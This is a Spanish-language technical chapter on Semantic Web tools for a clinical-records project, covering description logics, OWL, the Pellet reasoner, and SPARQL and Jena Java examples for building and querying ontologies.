Las herramientas que construyen, manipulan, interrogan y enriquecen la Web Semántica son las siguientes (Hebeler et al, 2009):

- **Herramientas de construcción**: Permiten construir e integrar una Web Semántica a través de la creación o importación de las declaraciones de la ontología y las instancias. Hay herramientas basadas en GUI que permiten ver y explorar los datos de la Web Semántica, por ejemplo, **Protégé**. Existen, también, varias interfaces de programación de aplicaciones (API) para integrar con los programas como, por ejemplo, Jena.

- **Herramientas de interrogación**: Estas herramientas navegan a través de la Web Semántica para devolver una respuesta solicitada. Existen varios métodos de interrogatorio que van desde la simple navegación gráfica, para buscar, hasta un lenguaje de consulta completo, por ejemplo **SPARQL (*S*PARQL *P*rotocol *a*nd *R*DF *Q*uery *L*anguage)**.

- **Razonadores**: Los razonadores añaden inferencia a su Web Semántica. La inferencia crea adiciones lógicas que permiten que los conceptos y las relaciones se relacionen adecuadamente con otros, tal como una *persona* es un *ser vivo*, el *papá* es un *padre*, *casado* es un tipo de *relación* o *casado* es una *relación simétrica*. Hay varios tipos de razonadores que ofrecen distintos niveles de razonamiento, por ejemplo **Pellet** presenta un alto nivel de razonamiento. Los razonadores aprovechan las declaraciones afirmativas para crear declaraciones auxiliares lógicamente válidas.

- **Motores de Reglas**: Los motores de Reglas soportan inferencia normalmente más allá de lo que puede deducirse con la lógica descriptiva, como ejemplo está **Jess**. Las reglas permiten fusionar ontologías y otras tareas de lógica más grandes, incluyendo métodos de programación, tales como búsquedas de conteo y de cadena. Los motores de reglas son manejados por reglas que se pueden considerar parte de toda la representación del conocimiento. Cada motor de reglas se adhiere a un lenguaje de reglas determinado.

- **Entornos semánticos**: Estos empaquetan las herramientas mencionadas anteriormente para trabajar como una unidad integrada. Existen alternativas de código abierto tanto para un entorno gráfico de desarrollo integrado (IDE) como para una interfaz de programación (API), un ejemplo es el **Jena**, aunque también hay varios entornos semánticos comerciales excelentes. Esto le permite empezar a programar de inmediato.

6.2.1.4 IMPACTOS DE LA WEB SEMÁNTICA EN LA PROGRAMACIÓN

Para que las aplicaciones tomen ventaja de la Web Semántica y de sus herramientas, estas deben adaptar sus expectativas e impactos en algunas de las siguientes categorías (Hebeler et al, 2009):

- **Centrada en la Web de datos**: La aplicación de Web Semántica debería estar centrada en los datos. Los datos son la clave, no las instrucciones de programación. En la Web Semántica los datos están enriquecidos a tal punto que se requiere de menos programación.

- **Datos semánticos**: Una aplicación de Web Semántica debería poner significado directamente dentro de los datos en vez de ponerlo dentro de las instrucciones de programación o dejarla a la interpretación del usuario. La Web Semántica ofrece métodos para definir la información, sus relaciones con otras informaciones, su herencia conceptual, y su formación lógica. Por ejemplo, una historia clínica dentro de la Web Semántica podría tener las relaciones pacienteDe para asociar a un paciente con el(los) médico(s) con quien(es) se está atendiendo. Ya que las relaciones tienen independencia de los conceptos, una aplicación podría consultar por todos los datos pacienteDe *Carlos Zapata*. El resultado sería todos los pacientes del Dr. Carlos Zapata.

- **Integración/Compartición de datos**: Una aplicación de Web Semántica debería tratar de accesar y compartir recursos ricos en información a través de la WWW cuando sea apropiado, tomando ventaja de las diversas fuentes de datos ya existentes. La capacidad de intercambiar información aumenta el valor de la información ya que permite a las aplicaciones utilizar la más actualizada en vez de formarla desde cero. Los artefactos de Web Semántica (ontologías identificadas con URI) son únicos en toda la Internet.

- **Datos dinámicos**: Una aplicación de Web Semántica debería permitir cambios dinámicos en tiempo de ejecución a la estructura y contenidos de su información. En la WWW el cambio es dinámico y continuo. Las aplicaciones de Web Semántica pueden insertar nuevos datos en cualquier momento. Estos nuevos datos se obtienen a través de la inferencia.

Estos cuatro impactos potencialmente cambian la forma en que se diseña y programa una aplicación y guían su solución a un uso óptimo de la Web Semántica.

6.2.2 Razonador

Un razonador se guía por una regla de tres (porque, se sigue que, en consecuencia)**;** este vive solo en el presente; el futuro es consecuencia de lo que se realice en el presente. Se encuentra siempre a la espera de las consecuencias que deban seguirse, esto implica que siempre estará ocupado controlando las premisas para que ocurra lo que deba ocurrir. Es un tecnólogo de lo que realiza.

Un razonador orientado a la historia clínica seria aquel que basado en el conocimiento proponga un posible diagnostico; para lograr este propósito se necesita una base de conocimiento (compuesto normalmente por hechos y reglas), y reglas

que sean capaces de inferir un nuevo conocimiento. Existen dos formas de conseguir información de una base de conocimiento.

- Mediante una consulta al modelo de la cual el razonador devolverá la información de las instancias existentes.
- O bien mediante la adición de reglas, donde el razonador además de devolver las instancias que resulten de la consulta al modelo, será capaz de generar nuevas instancias que se infieran de las existentes. Se le denomina a este tipo inferencia o razonamiento.

La base del conocimiento (KB) está basada en dos componentes: el TBox y el ABox.

Componentes de una Base del Conocimiento

El TBox define los dominios y las propiedades que pertenecen a esos dominios, y la dependencia jerárquica entre dichos dominios. Los individuos se especifican sobre el componente ABox.

Como ejemplo de razonamiento, se definen los siguientes axiomas.

1. Medico es Persona (Medico ⊆ Persona).
2. Carlos es Medico (Carlos ∈ Medico).

Donde el primer axioma es de tipo TBox y el segundo es ABox. De esta información se infiere que Carlos ∈ Persona.

"Una base de conocimiento (*TBox* y *ABox*) es equivalente a un conjunto de axiomas de la LPO (Lógica de primer orden), y por tanto se puede definir un cálculo o sistema de inferencia que permite derivar "conocimiento" implícito a partir del "explícito" de la base de conocimiento."

6.2.2.1 LÓGICA DESCRIPTIVA

También llamada lógica de descripción (DL por Description Logics) son una familia de lenguajes de representación de conocimiento que describen al dominio en función de conceptos (clases), roles (relaciones entre clases) e individuos (instancias de las clases, pueden relacionarse con un rol).

El nombre de lógica descriptiva nació en la década del 1980**.** Anteriormente se le llamaba (cronológicamente):

- Sistemas terminológicos.
- Lenguajes de conceptos.

Hoy en día la lógica descriptiva es la piedra angular de la web semántica para su uso en la base de conocimiento o en el diseño de las ontologías.

El primer sistema experto basado en DL fue KL-ONE (por Brachman and Schmolze, 1985). Luego aparecieron otros sistemas como (cronológicamente): LOOM, BACK, KRIS, CLASSIC, FACT, RACER, CEL, KAON2, PELLET y otros.

Notaciones

- Lógica ALC (Attributive Language): Conocida como sintaxis alemana debido a sus creadores. Soporta la lógica descriptiva de conceptos, roles e individuos.

- Sistema SH: Actualmente se está implementando para el uso de las ontologías.

  - "$\mathcal{SHIQ}$ es $\mathcal{ALCQI}$ + roles transitivos + inclusión roles. $\mathcal{SHOIQ}$ es $\mathcal{SHIQ}$ + nominales. Se demuestra también que $\mathcal{SHOIQ}$ es $\mathcal{SHOIN}$ extendida con restricciones cualificadas. $\mathcal{SHOIN}(\mathcal{D})$ es $\mathcal{ALCQIN}$ + nominales + dominios concretos ($\mathcal{D}$)."

- *"Aunque extender una lógica con dominios concretos la dota de una expresividad muy valorada para representar ontologías, fácilmente* $\mathcal{SHOIN}(\mathcal{D})$ *puede llevar a la indecidibilidad. Veremos, sin embargo, que es decidible y es base para el lenguaje de ontología actualmente más aceptado."*

DL	Propiedad expresable en la lógica	Complejidad
$\mathcal{ALC}$	lógica de descripción básica	PSPACE
$\mathcal{ALCN}$	+ restricciones numéricas no calificadas $(\mathcal{N})$	PSPACE
$\mathcal{ALC}$ *reg*	+ expresiones regulares sobre roles (reg)	EXPTIME
$\mathcal{ALCI}$ *reg*	+ inverso de roles $(\mathcal{I})$	EXPTIME
$\mathcal{ALCFI}$ *reg*	+ restricciones funcionales sobre roles atómicos $(\mathcal{F})$	EXPTIME
$\mathcal{ALCQI}$ *reg*	+ restricciones numéricas calificadas $(\mathcal{Q})$	EXPTIME
$\mathcal{ALCQO}$ *reg*	+ un alfabeto para los objetos del dominio $(\mathcal{O})$	EXPTIME
$\mathcal{SHIQ}$	$\mathcal{ALCQI}$ + roles transitivos + inclusión roles	EXPTIME
$\mathcal{SHOIN}$	+ restricciones numéricas no calificadas $(\mathcal{N})$	EXPTIME
$\mathcal{SHOIQ}$	$\mathcal{SHIQ}$ + nominales	NEXPTIME
$\mathcal{SHOIN}(\mathcal{D})$	$\mathcal{SHOIN}$ + dominios concretos	EXPTIME

6.2.2.2 ALGUNOS RAZONADORES PARA LÓGICA DESCRIPTIVA.

FaCT++, KAON2, Pellet, RacerPro, etc. Determinando que Pellet, de Clark & Parsia, es el que más se adecua al tipo de proyecto. Debido a su condición de open source (facilita la integración y libre modificación del código fuente) así como por la calidad de su documentación, el soporte y las constantes actualizaciones que mantienen vivo el proyecto y en continuo crecimiento.

6.2.3 Lenguajes de la Web Semántica.

Desde la década de los 90, se comenzó la investigación de cómo llevar una representación de conocimiento a la World Wide Web. En 1997, paralelamente al desarrollo de XML (Extensible Markup Language), apareció RDF (Resource Description Framework) como una capa por encima de XML, proporcionando una base común para expresar la semántica, inspirado en PICS, Dublin Core, XML y MCF. En 1998, apareció RDFS, el Resource Description Framework Schema se inspiro en los sistemas orientados a objetos y lenguajes como Java.

Al siguiente año de la primera especificación RDFS (1999) apareció OIL (Ontology Inference Layer).

La Web-Ontology (WebOnt) del W3C, tomo como punto de partida OIL que es básicamente una ampliación de la definición de RDFS y su evolución DAM+OIL, para la construcción de un nuevo lenguaje con el nombre "OWL", el cual se convirtió en el estándar por la W3C Recommendation en febrero de 2004. El cual tomo 19 años de investigación en el área de Description Logics.

6.2.3.1 COMPONENTES DE LA WEB SEMÁNTICA

- XML aporta la sintaxis superficial para los documentos estructurados, pero sin dotarles de ninguna restricción sobre el significado.
- XML Schema es un lenguaje para definir la estructura de los documentos XML.
- RDF es un modelo de datos para los recursos y las relaciones que se puedan establecer entre ellos. Aporta una semántica básica para este modelo de datos que puede representarse mediante XML. Estas expresiones se conocen como tripletas:
  - Sujeto identifica un recurso.
  - Predicado o propiedades, define las relaciones y tipos de valores a un Sujeto.
  - Objeto también llamado literal o valor.
- RDF Schema describe las propiedades y relaciones de un RDF, proporciona la semántica para establecer jerarquías entre las relaciones.
- OWL aporta más al vocabulario para describir clases y propiedades: ofrece cardinalidad, tipos de relaciones (ej. disyunción), igualdad, tipología de propiedades más complejas, clases enumeradas y otras.

  Esta se divide en tres tipos:
  - *Lite*, el más sencillo-
  - *DL*, evolución del anterior, con mayor expresividad soporta razonadores-
  - *Full*.

6.2.3.2 SOBRE EL ACRÓNIMO OWL

"Alguien podría pensar que el acrónimo correcto para Web Ontology Language debería ser WOL en lugar de OWL. Otros creen que el orden ha sido elegido en honor del personaje Owl de Winnie the Pooh, quien escribe su nombre WOL en lugar de OWL. Realmente, OWL fue propuesto como un acrónimo que fuese fácilmente pronunciable en inglés, facilitase buenos logos y se relacione con el prestigioso proyecto de representación del conocimiento de los años setenta de Bill Martin One World Language."

6.2.4 Implementar un razonador en la web semántica orientada a historias clínicas

Como se ha visto la OWL es una base de conocimiento la cual deriva de un RDF al cual se le puede añadir razonadores para obtener una inferencia a partir de una consulta, reglas o ambas.

Para el proyecto de Historias Clínicas se opto por usar el razonador Pellet [cap 1.1]. Para lograr esta integración de un razonador con una base de conocimiento se necesita de algún framework que lo permita entre los cuales tenemos:

FRAMEWORK	LENGUAJE INTERFACE	NIVEL SEMÁNTICA	DESCRIPCIÓN
Jena	Java	RDF to OWL 2	Ampliamente utilizado marco de la Web Semántica para Java. Proporciona una interfaz de SPARQL, RDF y API OWL, y el apoyo de inferencia. Permite almacenar múltiples y mecanismos de razonamiento y permite la integración de los mecanismos de costumbre. *http://jena.sourceforge.net.*
Sesame	Java &RESTful web service	RDF	Proporciona una SPARQL interfaz y una interfaz de servidor HTTP. Se suministra con almacenamiento y múltiples mecanismos de razonamiento y también permite la integración de los mecanismos de medida. *http://www.openrdf.org.*

OWL API	Java	OWL 2	La OWL API se basa en la sintaxis funcional de OWL 2 y contiene un interfaz común para muchos razonadores. *http://owlapi.sourceforge.net.*
RAP-RDF API	PHP	RDF	RAP es una fuente abierta RDF API y una suite de software para almacenar, consulta y manipulación de RDF en PHP. *http://sourceforge.net/projects/dfapi-php.*
Redland	C, Python, Ruby, Perl & PHP	RDF	Colección de las bibliotecas RDF para C, con enlaces para los demás idiomas. Proporciona RDF API, analizadores, y las interfaces de consulta. *http://librdf.org.*
linqToRDF	.NET	RDF	El marco de Semántica Web para él .NET creado en la Microsoft Consulta de Lenguaje-Integrado (LINQ) Marco (Consulta independiente del lenguaje y el sistema de procesamiento de datos). *http://code.google.com/p/linqtordf.*

Debido a que Jena puede manejar OWL y OWL2 y permite añadirle un razonador para nuestro caso Pellet y obtener las inferencias y además se podrá introducir a un Agente Inteligente la base de conocimiento OWL y añadirle las inferencias obtenidas del modelo a este.

6.2.5 Pellet

Razonador basado en tableros ha sido programado en Java y es gratuito y open source. Originalmente desarrollado por el laboratorio Mindswap de Maryland. Se puede utilizar fácilmente desde las librerías de gestión de ontologías (como la API de Jena y OWL) y ofrece una interfaz DIG.

Soporta razonamiento con la expresividad total de OWL-DL (sintaxis SHOIN(D) y SHIN(D)) incluyendo razonamiento acerca de los nominales (clases enumeradas), soporta especificaciones OWL2(SROIQ(D)); también brinda razonamiento con las proporciones inversas de OWL-Full.

Pellet comprueba la consistencia incremental y la clasifica.

Están basados en los algoritmos Tableaux, desarrollados para lógicas expresivas potentes, y validan ontologías.

6.2.5.1 ARQUITECTURA DE PELLET

Comprueba la consistencia de una KB (base de conocimiento), es decir un par de ABox y un TBox. El razonador se acopla con un datatype de oracle para poder chequear la coherencia de las conjunciones de un XML Schema simple datatype.

Las ontologías OWL se cargan en el razonador, las cuales validan y reparan la ontología. Este paso asegura que todos tengan un tipo apropiado de tripletas (un requerimiento de la OWL DL pero no de la OWL FULL) y si faltan algunas declaraciones de tipo se añaden usando algunas heurísticas. Durante la fase de carga axiomas sobre las clases (subclase, la clase equivalente o axiomas disyunción) se ponen en el componente TBox y afirmaciones acerca de los individuos (tipo y afirmación propiedad) se almacenan en el componente ABox. Axiomas TBox pasar por el proceso previo del estándar de razonadores DL antes de que se alimentan al razonador de tablas.

Arquitectura Pellet

La función de un razonador de tablas es en esencia el control de la satisfacibilidad de una ABox con respecto a un TBox. Las demás tareas de razonamiento se reducen a la consistencia KB la cual es testeada con una adecuada transformación. El Sistema de Programación de Interface (SPI) de pellet ofrece funciones genéricas, las cuales administran tales transformaciones. La interfaz de KB se basa como el resto de los componentes internos en la **librería Aterm.** Aterm (término de anotaciones a corto plazo) es un tipo de datos abstractos creado

para el intercambio de datos de estructuras en forma de árbol entre las aplicaciones distribuidas.

Esta librería permite maximizar el subtérmino *sharing* (compartir) y la recolección automática de basura por lo que es muy adecuado para la representación de las expresiones de la clase del OWL. Los términos de la función *sharing* reduce el consumo de memoria total dedicado para el almacenamiento de concepto de expresiones y permite que sea más fácil de transformar los datos de Pellet SPI para una API externa.

6.2.6 Jena

Jena es un Framework de Java para la construcción de aplicaciones en la Web Semántica. Es de código abierto y asido desarrollado a partir de trabajar con HP Labs Semantic Web Programme.

6.2.6.1 CARACTERÍSTICAS

Permite manipular ontologías (añadir hechos, borrarlos y editarlos), realizar consultas contra ellas y almacenar. Los recursos no están ligados estáticamente a una clase Java particular.

Los principales problemas que presentan son:

El recurso no cambió, pero la clase Java para modelarlo es otra.

No podemos modificar la clase dinámicamente.

Jena considera que la abstracción Java del recurso es solo una vista del mismo.

Se compone de:

- Api de procesamiento RDF.
- Api de procesamiento OWL, DAML y RDF Schema.
- Un motor de razonamiento basado en reglas.
- Un motor de consultas SPARQL, RDQL.

El soporte es proporcionado por *jena-users@incubator.apache.org*

6.2.6.2 PROCESAMIENTO DE LA API RDF Y OWL

Jena Api RDF y OWL

Figure 1. Jena2 Architectural Overview

Jena2 Architectural Overview

El gráfico nos detalla cómo es que Jena procesa una base de conocimiento:

- Lo primero, carga o crea una ontología.
- Luego la guarda en un modelo que se almacena en memoria y es a este al cual uno puede manipular.
- Luego de hacerle todas las acciones si se desea se guarda un archivo físico.

6.2.6.3 MECANISMO DE INFERENCIA EN JENA

La Inferencia se da mediante un razonador que puede ser el del mismo Jena u otro como pellet.

Estos se deben ejecutar al momento de realizar algún cambio, inserción o consulta a la base de conocimiento.

Jena y Razonador

6.2.6.4 CONSULTAS SPARQL (ESTÁNDAR DE LA W3C) EN JENA

SPARQL se basa en anteriores lenguajes de consulta RDF como rdfDB, RDQL y SeRQL.

Es la herramienta que permite hacerle consultas a una base de conocimiento como la OWL, el cual ha sido elaborado por la comunidad de la W3C.

Técnicamente la consulta SPARQL se basa en un conjunto de tripletas ***(sujeto, predicado y objeto)*** o ***(id, propiedad y valor)***.

Tim Berners Lee lo explica así:

"Pretender usar la Web Semántica sin SPARQL es como pretender usar una base de datos relacional sin SQL", "SPARQL hace posible consultar información desde bases de datos y otros orígenes de datos en sus estados primitivos a través de la web".

Sintaxis

URIs entre < >

```
<http://www.misitio.com>
```

Prefijos para espacios de nombres o **Name Spaces**

PREFIX x: <http://www.hca.pe/>

```
x:doctor
```

Nodos anónimos:

```
_:nombre ó [ ]
```

Literales entre “ “:

```
“Jesus fernandez”
“234”^^xsd:integer
```

Variables empiezan con “?” o “$”:

```
?nombre
$apellido
```

Comentarios empiezan con #:

```
# esto es un comentario
```

Como lenguaje de consulta posee las siguientes cláusulas

- PREFIX: Inserta una etiqueta a un URI de la ontología.
- WHERE: Es un proceso secuencial, del cual se obtienen los valores que contendrán esas variables.
- SELECT: Aquí se declaran las variables a mostrar las cuales siguen el siguiente patrón “sujeto, predicado y valor”, en el siguiente ejemplo se muestra como se listan todos los sujetos con sus propiedades y valores correspondientes.

  select * where { ?s ?p ?o. }
- FILTER: Añade restricciones a los valores de las variables encontradas, utiliza funciones y operadores de Xpath 2.0.
  - REGEX: Se utiliza para restringir valores de tipo texto o string.

    regex(?Expresión, ?Patrón [, ?Flags])

    ?Expresión: variable a tratar.

    ?Patrón: patrón de la restricción.

    ?Flags: opciones para el encaje.

```
PREFIX e: < http://www.misitio.com#>
SELECT ?n ?e WHERE {
?x e:nombre ?n
?x e:edad ?e
FILTER regex(?n,"A","i")
}
```

- CONSTRUCT: permite construir un grafo RDF a partir de una consulta.
- DESCRIBE: devuelve una descripción del grafo en RDF.
- ASK: devuelve falso o verdad, a una determinada búsqueda.
  - PREFIX foaf: <http://xmlns.com/foaf/0.1/>
  - PREFIX r: < http://www.misitio.com#>
  - CONSTRUCT { ?x r:nombre ?n }
  - WHERE { ?x foaf:name ?n }
- OPTIONAL: muestra los valores de las tripletas sin fallar aun cuando estas no existan.
- UNION: junta dos o más grafos.
  - prefix e: < http://www.misitio.com #>
  - prefix foaf: <http://xmlns.com/foaf/0.1/>

    ```
    SELECT ?n
    WHERE {
    { ?x foaf:name ?n }
    UNION{ ?y p:nombre ?n }
    }
    ```
- DISTINCT: muestra solo los valores diferentes.
- ODER BY: ordena la variable de forma descendente o ascendente.
- LIMIT: limita la cantidad de valores a mostrar.

Se basa en encaje de patrones en el grafo

Los resultados se obtienen de la clausula WHERE de la siguiente manera

```
WHERE {[?d] ["prefijo"]:["propiedad/clase/instancia"] [?r].}
```

[**"?d"** variable que toma los valores del dominio los cuales pueden ser cualquiera de la tripleta, está determinada por la siguiente instrucción. No siempre es una variable] ["prefijo"]:["propiedad/clase/instancia"] [**"?r"** variable que toma los valores del rango y al igual que el dominio puede ser cualquiera de la tripleta pero está determinada por la instrucción anterior. No siempre es una variable] [**"."** El punto nos indica que sigue una instrucción en la línea siguiente y también sirve para terminar la cláusula WHERE]

Resultados:	?n	?a
	"Nestor"	"Macedo"
	"Oswaldo"	"Canchumani"

Algunos ejemplos:

Lista todos los atributos DataType Property.

```
prefix owl: <http://www.w3.org/2002/07/owl#>
select $dp
where {
 $dp a owl:DatatypeProperty
}
```

Listar todas las clases RDF.

```
select ?class
where {
 [] a ?class
}
```

Listar todas las propiedades RDF.

```
select ?prop
where {
 [] ?prop []
}
```

Listar todas las clases OWL.

```
prefix owl: <http://www.w3.org/2002/07/owl#>
select ?class
where {
 ?class a owl:Class
}
```

Listar todas las clases con sus individuos (sujetos), propiedades y valores.

```
SELECT DISTINCT ?clases ?id ?propiedad ?valor
where {?clases a owl:Class.
?id rdf:type ?clases.
?id ?propiedad ?valor.
?d a owl:ObjectProperty.
?s a owl:DatatypeProperty;
FILTER(?propiedad = ?d || ?propiedad = ?s)
}
```

Siguiente ejemplo es una ejecución de una consulta en el framework JENA:

```
import com.hp.hpl.jena.ontology.Individual;
import com.hp.hpl.jena.query.* ;
import com.hp.hpl.jena.ontology.OntModel;
import com.hp.hpl.jena.rdf.model.Model;
public class Main {
    private static OntModel model; //consultar capitulo 7.10
    private static String NS;
    public static void main(String[] args) {
String queryString =""
+ "PREFIX owl: <http://www.w3.org/2002/07/owl#>"
+ "PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>"
+ "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>"
```

```
+ ”PREFIX base:<http://www.owl-ontologies.com/Ontology1282851039.owl#>”
+ ”SELECT ?s”
+ “ WHERE{?s rdf:type base:Profesor}”;
model = ModelFactory.createOntologyModel( OntModelSpec.OWL_DL_MEM );
//Establecemos el NameSpace por defecto para nuestra ontología
 NS = “http://www.owl-ontologies.com/Ontology1282851039.owl#”;
//Si se desea se crea un prefijo en el modelo  ontológico de la siguiente manera.
//model.setNsPrefix(NS, “http://www.owl-ontologies.com/Ontology1282851039.owl#”);
        //abrir el archivo con la ontología
        Java.io.InputStream in = FileManager.get().open( “datos/profesor.owl” );
        if (in == null) {
            throw new IllegalArgumentException(“Archivo no encontrado”);
        }
        // Lee el archivo OWL y lo carga al modelo
        model.read(in, “”);
    Query query = QueryFactory.create(queryString);
// Ejecutar la consulta y obtener los resultados
    QueryExecution qe = QueryExecutionFactory.create(query, model);
        try {
            ResultSet results = qe.execSelect();
            ResultSetFormatter.out(System.out, results, query) ;
        } finally { qe.close() ; }
}
}
```

La consulta anterior nos muestra todos los individuos de la clase profesor.

```
| s               |
===================
| base:Profesor_3 |
| base:Profesor_1 |
| base:Profesor_2 |
```

NOTAS

Es conveniente crear los prefijos básicos para realizar cualquier consulta, los cuales son:

```
PREFIX owl: <http://www.w3.org/2002/07/owl#>
PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>
PREFIX rdfs: http://www.w3.org/2000/01/rdf-schema#
```

Y luego crear el prefijo “**base**” o como desee llamarlo el cual es el URL de su página u ontología.

6.2.6.5 GRAFO DE RDF

Jena Api RDF

Se basa en la tripleta ya mencionada (Recurso, propiedad, valor/literal).

6.2.6.6 ABSTRACCIONES CLAVE

Jena Api RDF Abstracciones clave

6.2.6.7 ESCENARIO TÍPICO DE USO

Jena Escenario típico de uso

Se trata de un modelo en memoria al cual uno le realiza las consultas, modificaciones, en un entorno de escritorio sin uso de la web.

6.2.6.8 ESCENARIO AVANZADO DE USO.

Jena Escenario Avanzado de uso

En este modelo se genera una persistencia del modelo ontológico el cual es publicado en un servidor al cual se le accede de forma remota.

6.2.6.9 CREACIÓN DE RDF

Existen 2 formas:

- Crearlo a través del api de Jena.
- Cargando un modelo existente.
  - Desde un archivo.
  - Desde un modelo persistente.

Api Jena RDF: se creara un Statement de RDF.

```
Model model = ModelFactory.createDefaultModel();
Resource id = model.createResource("http://www.pacis.org#Nestor");
Property edad = model.createProperty(Constantes.NATURALLY_
OCCURRING_NS + "edad");
Literal id_edad= model.createLiteral("42");
yangtze.addProperty(edad, id_edad);
model.write(System.out,"N-TRIPLE");
```

Tendría la forma (Nestor, edad, 42) donde:

- **Néstor** sería el individuo, instancia, Id
- **Edad** seria una propiedad, predicado
- **42** seria valor, objeto

6.2.6.9.1 Cargar un archivo RDF externo

```
model.read("file:ubicación/archivo.rdf","RDF/XML");
model.write(new FileWriter("ubicación/archivo.rdf"),"RDF/XML");
```

Jena, cargar y escribir modelo ontológico

Tipos de modelo:

- N-TRIPLE.
- N3.
- RDF/XML.
- RDF/XML-ABBREV.

Modelo CRUD:

- Create, crear.
- Retrieve, recuperar.
- Update, actualizar.
- Delete, eliminar o borrar.

6.2.6.9.2 Explorando el modelo

```
for(Iterator it = model.listStatements();it.hasNext();){
Statement stmt = (Statement) it.next();
System.out.println(stmt.getSubject().getLocalName());
}
```

Consulta del modelo: selectores

```
" Select * from MODEL where SUBJECT='Nestor' "
Resource id = model.getResource("http://www.pacis.org#Nestor ");
Selector selector =new SimpleSelector(id, (Property)null, (Resource)null);
for(Iterator it = model.listStatements(selector);it.hasNext();){ …}
// o, equivalentemente…
for(Iterator it = model.listStatements(id, (Property)null,
        (Resource)null) ;it.hasNext();){ …}
```

6.2.6.9.3 Actualizando el modelo

El método **changeObject** de la clase **Statement** es usado para este propósito.

```
Resource id = model.getResource("http://www.pacis.org#Nestor ");
Resource chinaSea =model.getResource("http://www.china.
gov#ChinaSea");
Property emptiesInto
=model.getProperty(Constantes.NATURALLY_OCCURRING_NS +
"emptiesInto");
id.getProperty(emptiesInto).changeObject(chinaSea);
```

Borrar un Statement.

El método **remove()** de la clase **Statement** es usado para este propósito.

```
Resource yangtze.
=model.getResource("http://www.china.org/rivers#Yangtze");
Property emptiesInto =model.getProperty(Constantes.NATURALLY_
OCCURRING_NS +
"emptiesInto");
yangtze.getProperty(empriesInto).remove();
```

6.2.6.9.4 Inferencia básica a un RDF

```
Property teachesAtProp = model.createProperty(ns, "teachesAt");
Property worksAtProp = model.createProperty(ns, "worksAt");
model.add(teachesAtProp, RDFS.subPropertyOf, worksAtProp);

model.createResource(ns + "Carmen").addProperty(teachesAtProp, "ETSIT");
```

(Carmen, teachesAt, ETSIT).

```
Reasoner reasoner = ReasonerRegistry.getRDFSReasoner();
InfModel infModel = ModelFactory.createInfModel(reasoner, data);
```

(Carmen, worksAt, ETSIT).

El namespace es la dirección fuente o base del RDF (*http://www.pacis.org#*). La variable **ns** es un String que contiene al namespace.

El ejemplo anterior se agrega al individuo **Carmen** el cual posee como propiedad **teachesAt** y esta tiene como sub-propiedad **worksAt,** por lo que al ejecutar el razonador nos muestra que el individuo **Carmen** posee como propiedad **worksAt**.

6.2.6.10 JENA API ONTOLOGÍA

Crear un modelo ontológico con el api de Jena. Los modelos son conjuntos *statements.*

```
OntModel ontology =ModelFactory.createOntologyModel(OntModelSpec.
OWL_DL_MEM);

ontology.createClass(ns + " Stream ");
ontology.createClass(ns + "Brook");
```

```
ontology.createClass(ns + “River”);
ontology.createClass(ns + “Tributary”);

FunctionalProperty emptiesInto = m.createObjectProperty(ns +
“emptiesInto”,true).convertToFunctionalProperty();

ObjectProperty feedsFrom = m.createObjectProperty(ns + “feedsFrom”);
contains.setInverseOf(locatedIn);

ontology.add(feedsFrom, RDF.type, OWL.InverseFunctionalProperty);

//Almacenamos la ontología en un archivo OWL (opcional)
File file = new File(“/Miproyecto/Mi_archivo.owl”);
//Hay que capturar las Excepciones
if (!file.exists()){
    file.createNewFile();
}
model.write(new PrintWriter(file));
```

1. **Modelfactory**: Permite crear el modelo a través de su método *createOntologyModel()* el cual crea un modelo por defecto el cual es compatible con versiones anteriores de Jena. Estos valores predeterminados son.

   - OWl-Full lenguaje.
   - In-memory de almacenamiento.
   - RDFS para inferencia, que produce principalmente vínculos para las sub-class y sub-property jerárquicas.

   ```
   OntModel model = ModelFactory.createOntologyModel();
   ```

Lenguaje Ontológico	URI
RDFS	http://www.w3.org/2000/01/rdf-schema#
DAML+OIL	http://www.daml.org/2001/03/daml+oil#
OWL Full	http://www.w3.org/2002/07/owl#
OWL DL	http://www.w3.org/TR/owl-features/#term_OWLDL
OWL Lite	http://www.w3.org/TR/owl-features/#term_OWLLite

2. **OntModelSpec**: define el tipo de modelo ontológico.

   ```
   OntModel model = ModelFactory.createOntologyModel(OntModelSpe
   c.OWL_ MEM);
   ```

OntModelSpec	Language profile	Almacenamiento model	Razonador
OWL_MEM	OWL full	in-memory	Ninguno
OWL_MEM_TRANS_INF	OWL full	in-memory	transitive class-hierarchy inference
OWL_MEM_RULE_INF	OWL full	in-memory	rule-based reasoner with OWL rules
OWL_MEM_MICRO_RULE_INF	OWL full	in-memory	optimised rule-based reasoner with OWL rules
OWL_MEM_MINI_RULE_INF	OWL full	in-memory	rule-based reasoner with subset of OWL rules
OWL_DL_MEM	OWL DL	in-memory	Ninguno
OWL_DL_MEM_RDFS_INF	OWL DL	in-memory	rule reasoner with RDFS-level entailment-rules
OWL_DL_MEM_TRANS_INF	OWL DL	in-memory	transitive class-hierarchy inference
OWL_DL_MEM_RULE_INF	OWL DL	in-memory	rule-based reasoner with OWL rules
OWL_LITE_MEM	OWL Lite	in-memory	Ninguno
OWL_LITE_MEM_TRANS_INF	OWL Lite	in-memory	transitive class-hierarchy inference
OWL_LITE_MEM_RDFS_INF	OWL Lite	in-memory	rule reasoner with RDFS-level entailment-rules
OWL_LITE_MEM_RULES_INF	OWL Lite	in-memory	rule-based reasoner with OWL rules
DAML_MEM	DAML+OIL	in-memory	Ninguno
DAML_MEM_TRANS_INF	DAML+OIL	in-memory	transitive class-hierarchy inference
DAML_MEM_RDFS_INF	DAML+OIL	in-memory	rule reasoner with RDFS-level entailment-rules
DAML_MEM_RULE_INF	DAML+OIL	in-memory	rule-based reasoner with DAML rules
RDFS_MEM	RDFS	in-memory	Ninguno
RDFS_MEM_TRANS_INF	RDFS	in-memory	transitive class-hierarchy inference
RDFS_MEM_RDFS_INF	RDFS	in-memory	rule reasoner with RDFS-level entailment-rules

6.2.6.10.1 Personalizar un modelo específico

Se crea un **OntModelSpec** con un tipo definido el cual modificaremos con nuestro documento ontológico y luego se crea el modelo con nuestro tipo de ontología, como se muestra.

```
OntModelSpec s = new OntModelSpec(
OntModelSpec.OWL_DL_MEM_RULE_INF);
s.setDocumentManager( myDocMgr );
OntModel m = ModelFactory.createOntologyModel( s );
```

6.2.6.11 PROCESAMIENTO DE IMPORTACIONES ONTOLÓGICAS

Una ontología puede importar a otra para la integración de los modelos. La figura muestra como un modelo de ontología construye una colección de modelos de importación.

Modelo ontología compuesto de estructura del documento para la importación

